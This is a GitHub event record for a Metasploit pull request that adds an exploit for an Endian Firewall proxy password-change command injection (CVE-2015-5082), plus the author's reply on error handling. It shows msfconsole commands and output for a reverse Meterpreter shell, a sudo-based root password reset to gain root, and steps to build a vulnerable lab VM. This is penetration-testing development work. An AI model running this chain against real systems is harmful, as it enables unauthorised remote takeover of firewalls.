{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5631","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5631/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5631/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5631/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/5631","id":91884713,"number":5631,"title":"Exploit Module: Endian Firewall Proxy Password Change Command Injection","user":{"login":"blincoln682F048A","id":6634198,"avatar_url":"https://avatars.githubusercontent.com/u/6634198?v=3","gravatar_id":"","url":"https://api.github.com/users/blincoln682F048A","html_url":"https://github.com/blincoln682F048A","followers_url":"https://api.github.com/users/blincoln682F048A/followers","following_url":"https://api.github.com/users/blincoln682F048A/following{/other_user}","gists_url":"https://api.github.com/users/blincoln682F048A/gists{/gist_id}","starred_url":"https://api.github.com/users/blincoln682F048A/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/blincoln682F048A/subscriptions","organizations_url":"https://api.github.com/users/blincoln682F048A/orgs","repos_url":"https://api.github.com/users/blincoln682F048A/repos","events_url":"https://api.github.com/users/blincoln682F048A/events{/privacy}","received_events_url":"https://api.github.com/users/blincoln682F048A/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":10,"created_at":"2015-06-29T19:15:40Z","updated_at":"2015-07-01T16:02:31Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5631","html_url":"https://github.com/rapid7/metasploit-framework/pull/5631","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5631.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5631.patch"},"body":"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5082\r\n(CVE is new as of today, so that page may not display correctly yet)\r\n\r\nTargets an OS command injection vulnerability in most released versions\r\nof Endian Firewall. Tested successfully against the following versions:\r\n1.1 RC5\r\n2.0\r\n2.1\r\n2.2\r\n2.5.1\r\n2.5.2\r\n\r\nKnown to not work against the following versions, due to bugs in the\r\nvulnerable CGI script which also prevent normal use of it:\r\n2.3\r\n2.4.0\r\n3.0.0\r\n3.0.5 beta 1\r\n\r\nRequires that at least one username and password be defined in the\r\nlocal auth store for the Squid proxy component on the system, and that\r\nthe attacker know that username and password. Administrative or other\r\ncredentials are not required.\r\n\r\nProvides OS command execution as the \"nobody\" account, which (on\r\nall tested versions) has sudo permission to (among other things) run\r\na script which changes the Linux root account's password.\r\n\r\nExample usage / output:\r\n\r\n```\r\nmsf > use exploit/linux/http/efw_chpasswd_exec\r\nmsf exploit(efw_chpasswd_exec) > set payload linux/x86/meterpreter/reverse_tcp\r\npayload => linux/x86/meterpreter/reverse_tcp\r\nmsf exploit(efw_chpasswd_exec) > set LHOST 172.16.47.13\r\nLHOST => 172.16.47.13\r\nmsf exploit(efw_chpasswd_exec) > set LPORT 443\r\nLPORT => 443\r\nmsf exploit(efw_chpasswd_exec) > set RHOST 172.16.47.1\r\nRHOST => 172.16.47.1\r\nmsf exploit(efw_chpasswd_exec) > set EFW_USERNAME proxyuser\r\nEFW_USERNAME => proxyuser\r\nmsf exploit(efw_chpasswd_exec) > set EFW_PASSWORD password123\r\nEFW_PASSWORD => password123\r\nmsf exploit(efw_chpasswd_exec) > exploit\r\n\r\n[*] Started reverse handler on 172.16.47.13:443\r\n[*] Command Stager progress -  18.28% done (196/1072 bytes)\r\n[*] Command Stager progress -  36.57% done (392/1072 bytes)\r\n[*] Command Stager progress -  54.85% done (588/1072 bytes)\r\n[*] Command Stager progress -  73.13% done (784/1072 bytes)\r\n[*] Command Stager progress -  91.42% done (980/1072 bytes)\r\n[*] Transmitting intermediate stager for over-sized stage...(100 bytes)\r\n[*] Sending stage (1138688 bytes) to 172.16.47.1\r\n[*] Meterpreter session 1 opened (172.16.47.13:443 -> 172.16.47.1:36481) at 2015-06-29 10:20:13 -0700\r\n[*] Command Stager progress - 100.47% done (1077/1072 bytes)\r\n\r\nmeterpreter > getuid\r\nServer username: uid=99, gid=99, euid=99, egid=99, suid=99, sgid=99\r\nmeterpreter > sysinfo\r\nComputer     : efw220.vuln.local\r\nOS           : Linux efw220.vuln.local 2.6.22.19-72.endian15 #1 SMP Mon Sep 8 11:49:17 EDT 2008 (i686)\r\nArchitecture : i686\r\nMeterpreter  : x86/linux\r\nmeterpreter > shell\r\nProcess 5768 created.\r\nChannel 1 created.\r\nsh: no job control in this shell\r\nsh-3.00$ whoami\r\nnobody\r\nsh-3.00$ uname -a\r\nLinux efw220.vuln.local 2.6.22.19-72.endian15 #1 SMP Mon Sep 8 11:49:17 EDT 2008 i686 i686 i386 GNU/Linux\r\nsh-3.00$ sudo /usr/local/bin/chrootpasswd\r\nIlikerootaccessandIcannotlie\r\nsh-3.00$ su\r\nPassword:IlikerootaccessandIcannotlie\r\n\r\nbash: no job control in this shell\r\nbash-3.00# whoami\r\nroot\r\n```\r\n\r\nSteps to verify module functionality:\r\n\r\nGo to http://sourceforge.net/projects/efw/files/Development/\r\n\r\nSelect version 2, 2.1, 2.2, 2.5.1, or 2.5.2.\r\n\r\nDownload the ISO file for that version.\r\n\r\nCreate a VM using the ISO:\r\n  For purposes of VM configuration:\r\n    - Endian is based on the RHEL/CentOS/Fedora Core Linux\r\n\t  distribution.\r\n    - The ISOs will create a 32-bit x86 system.\r\n    - 512MB of RAM and 4GB of disk space should be more than enough.\r\n    - Be sure to configure the VM with at least two NICs, as the Endian\r\n      setup is difficult (impossible?) to complete with less than two\r\n      network interfaces on the host.\r\n  For the Endian OS-level (Linux) installation:\r\n    - Default options are fine where applicable.\r\n\t- Be sure to pick a valid IP for the \"Green\" network interface, as\r\n\t  you will use it to access a web GUI to complete the configuration\r\n\t- If prompted to create a root/SSH password and/or web admin\r\n\t  password, make a note of them. Well, make a note of the web admin\r\n\t  password - the exploit module will let you change the root\r\n\t  password later if you want to. This step is dependent on the\r\n\t  version selected - some will prompt, others default the values to\r\n\t  \"endian\".\r\n\t- Once the OS-level configuration is complete, access the web\r\n\t  interface to complete the setup. If you used 172.16.47.1 for the\r\n\t  \"Green\" interface, then the URL will be\r\n\t  https://172.16.47.1:10443/\r\n\t- If the web interface is not accessible, reboot the VM (in some\r\n\t  versions, the web interface does not come up until after the\r\n\t  first post-installation reboot).\r\n  For the web interface-based configuration:\r\n    - If you were prompted to select an admin password, use it. If not,\r\n\t  the username/password is admin/endian.\r\n\t- Use the second NIC for the \"Red\" interface. It will not actually\r\n\t  be used during this walkthrough, so feel free to specify a bogus\r\n\t  address on a different/nonexistent subnet. Same for its default\r\n\t  gateway.\r\n\t- Once the base configuration is complete, access the main web\r\n\t  interface URL again.\r\n\t- Switch to the Proxy tab.\r\n\t- Enable the HTTP proxy.\r\n\t- Click Save (or Apply, depending on version).\r\n\t- If prompted to apply the settings, do so.\r\n\t- Click on the Authentication sub-tab.\r\n\t- Make sure the Authentication Method is Local (this should be the\r\n\t  default).\r\n\t- Click the _manage users_ (Or _User management_, etc., depending\r\n\t  on version) button.\r\n\t- Click the _Add NCSA user_ (or _Add a user_, etc.) link.\r\n\t- Enter \"proxyuser\" for the username, and \"password123\" for the\r\n\t  password, or modify the directions below this point accordingly.\r\n\t- Click the _Create user_ button.\r\n\t- If prompted to apply the settings, do so.\r\n\r\nModule test\tprocess:\r\n  From within the MSF console, execute these commands:\r\n\r\n    use exploit/linux/http/efw_chpasswd_exec\r\n    set payload linux/x86/meterpreter/reverse_tcp\r\n    set LHOST [YOUR_HOST_IP]\r\n    set LPORT 443\r\n    set RHOST [ENDIAN_GREEN_IP]\r\n    set EFW_USERNAME proxyuser\r\n    set EFW_PASSWORD password123\r\n    exploit\r\n\r\n  Once Meterpreter connects, execute the following Meterpreter\r\n  commands:\r\n    getuid\r\n    sysinfo\r\n    shell\r\n\r\n  Within the OS shell, execute the following commands:\r\n    whoami\r\n\tuname -a\r\n\tsudo -l\r\n\tsudo /usr/local/bin/chrootpasswd\r\n\r\n  It will appear as though the command has hung, but it is actually\r\n  waiting for input. Type \"IlikerootaccessandIcannotlie\", then press\r\n  enter.\r\n\r\n  Execute the following OS command in the shell:\r\n    su\r\n\r\n  Type \"IlikerootaccessandIcannotlie\", then press enter.\r\n\r\n  Verify root access (whoami, etc.)."},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/117728174","html_url":"https://github.com/rapid7/metasploit-framework/pull/5631#issuecomment-117728174","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5631","id":117728174,"user":{"login":"blincoln682F048A","id":6634198,"avatar_url":"https://avatars.githubusercontent.com/u/6634198?v=3","gravatar_id":"","url":"https://api.github.com/users/blincoln682F048A","html_url":"https://github.com/blincoln682F048A","followers_url":"https://api.github.com/users/blincoln682F048A/followers","following_url":"https://api.github.com/users/blincoln682F048A/following{/other_user}","gists_url":"https://api.github.com/users/blincoln682F048A/gists{/gist_id}","starred_url":"https://api.github.com/users/blincoln682F048A/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/blincoln682F048A/subscriptions","organizations_url":"https://api.github.com/users/blincoln682F048A/orgs","repos_url":"https://api.github.com/users/blincoln682F048A/repos","events_url":"https://api.github.com/users/blincoln682F048A/events{/privacy}","received_events_url":"https://api.github.com/users/blincoln682F048A/received_events","type":"User","site_admin":false},"created_at":"2015-07-01T16:02:31Z","updated_at":"2015-07-01T16:02:31Z","body":"@void-in - I can fix the timeout thing, but I'm a little hesitant to try to graft on handling of the server response for a couple of reasons:\r\n\r\n1 - The HTTP response code is 200 regardless of whether the injection was successful or not - this is a blind OS command injection vulnerability. There can be some differences in the response body, but this vulnerability affects almost ten years of releases of the product, and the product is localized into multiple languages, so trying to account for all of them would (IMO) make the module less reliable - especially since I only have access to the Community Edition releases to test against, not the commercial releases. Even within the Community Edition releases, there are 3-4 major variations on the page itself, times however many languages the product supports. The current logic successfully exploits all of the vulnerable versions. I don't think that would be true if I tried to parse the response body.\r\n\r\n2 - This module uses a CmdStager, so there are many calls to the upload by that CmdStager code (which is outside of my module). E.g. nearly anything I do in terms of error handling is going to get called a bunch of times and make for very noisy/confusing output. This is what the output looks like if I just give the HTTP response code as a status:\r\n\r\n```\r\nmsf exploit(efw_chpasswd_exec) > exploit\r\n\r\n[*] Started reverse handler on 172.16.47.13:443 \r\n[*] Received HTTP 200 response from the target\r\n[*] Command Stager progress -  18.28% done (196/1072 bytes)\r\n[*] Received HTTP 200 response from the target\r\n[*] Command Stager progress -  36.57% done (392/1072 bytes)\r\n[*] Received HTTP 200 response from the target\r\n[*] Command Stager progress -  54.85% done (588/1072 bytes)\r\n[*] Received HTTP 200 response from the target\r\n[*] Command Stager progress -  73.13% done (784/1072 bytes)\r\n[*] Received HTTP 200 response from the target\r\n[*] Command Stager progress -  91.42% done (980/1072 bytes)\r\n[*] Transmitting intermediate stager for over-sized stage...(100 bytes)\r\n[*] Sending stage (1138688 bytes) to 172.16.47.1\r\n[*] Meterpreter session 1 opened (172.16.47.1:443 -> 172.16.47.13:33257) at 2015-07-01 08:26:41 -0700\r\n[-] Exploit failed: NoMethodError undefined method `code' for nil:NilClass\r\n```\r\n\r\nThe \"failure\" is because the final call the CmdStager makes is to execute the uploaded payload, and so the webserver never returns a result for the last call. But because the looping is handled by code outside of mine, it would be very hard for my module to detect that it was in the last iteration of the loop and handle that case differently.\r\n\r\nThe one true error condition I think is possible to handle in a good way is a 404 response from the webserver, which definitely means the exploit failed, and so I can use the fail_with() method (which I can't really do for any other case, for reasons described above). I've added in the following logic in the version I'll push shortly:\r\n\r\n```\r\n     if not res.nil?\r\n      if res.code == 404\r\n        fail_with(Failure::Unreachable,\r\n          \"#{rhost}:#{rport} - Received a 404 HTTP response - \" +\r\n          \"your TARGETURI value is most likely not correct\")\r\n      end\r\n```\r\n\r\nAnything more complicated than that I think would make the exploit more fragile and less useful.\r\n\r\nAre you comfortable with those two changes (fixing the timeout option and adding handling for a 404 response)?"}}